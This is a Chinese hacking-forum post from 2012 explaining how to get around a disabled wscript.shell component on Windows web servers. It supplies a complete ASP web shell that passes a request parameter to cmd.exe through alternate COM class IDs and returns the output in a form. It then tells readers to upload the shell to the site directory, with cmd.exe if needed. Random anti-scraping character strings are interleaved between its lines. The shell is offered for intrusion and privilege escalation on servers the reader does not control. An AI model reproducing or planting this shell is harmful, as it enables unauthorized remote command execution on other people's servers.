中国网络渗透测试联盟
标题:
wscript.shell删除解决办法
[打印本页]
作者:
admin
时间:
2012-9-15 14:36
标题:
wscript.shell删除解决办法
可能有很多人，看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
6 T4 n+ r3 t" I# M3 U
一般当闭上面组件时，你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
( w( |. J0 {4 R" P1 P6 e% D
要想让运行命令可以试试这种方法，成功率为五五之数。
1 j+ r: X, S. L' o- @+ @
把下面代码复制：
4 E+ C" q. I! C8 B1 `
<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
; V3 r0 i! U% z( q7 p
<%if err then%>
6 m4 @+ x& E! v1 U3 y0 @8 F* T
<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
1 g' {! [' m; z
<%
4 S+ {" o- x( U' ]' [0 A: I2 d
end if
. E. O! l* z9 t; }- k d% \2 S0 I
response.write("<textarea readonly cols=80 rows=20>")
. G% Y1 S* [; x( |0 r) e. p
On Error Resume Next
4 `2 M# {, i% S, l
response.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall
& }$ K% A% Z) _
response.write("</textarea>")
6 S y F1 Q! u1 g7 ?0 f
response.write("<form method='post'>")
2 w& Y( |8 Z! ~" f# d
response.write("<input type=text name='c' size=60><br>")
: L+ y; z7 M, t% {$ H
response.write("<input type=submit value='执行'></form>")
5 F7 V P% n# y; i! R4 H" m- M! v
%>
% u" {! H Y7 u% H: \( C
% d- I, @3 m7 |7 c& J R0 k& L% G$ ~5 i
保存为一个asp文件，然后传到网站目录上去
, l, f* H2 v+ C$ ~
运行的时候可能会出现两个问题，第一是运行了为什么运行不了命令，这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
4 d0 r) x0 \- M& T
我用此成功运行过cacls命令。
* h# O% n0 x9 W
: d' ^4 `+ ?/ T+ d0 L6 O) ]5 ?
第二那就是运行时出错，可能限制某些代码执行
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2